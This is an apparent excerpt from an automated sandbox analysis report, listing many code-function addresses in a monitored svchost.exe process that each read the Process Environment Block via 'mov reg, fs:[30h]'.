Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030DB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F8A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0306927A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03052ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03052AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03029100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03029100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03029100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03044120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03044120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03044120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03044120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03044120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302C962 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03052990 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030561A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030561A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A69A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030499BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030B41E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03040050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03040050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F1074 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E2073 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03029080 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030690AF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BB8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030240E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030240E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030240E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030258EC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03024F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03024F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303EF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303FF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F8F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03038794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030637F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03058E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1608 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302E620 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030DFE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03037E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03037E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03037E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03037E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03037E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03037E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EAE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EAE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BFE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A46A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03068EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030536CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030DFEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F8ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030376E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030516E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03033D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EE539 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F8D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030AA537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03054D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03054D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03054D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03063D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A3540 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030D3D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03047D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03052581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03052581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03052581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03052581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03022D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03022D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03022D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03022D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03022D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030535A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03051DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03051DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03051DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030D8DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030BC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304746D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0303849B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F8CD6 mov eax, dword ptr fs:[00000030h]
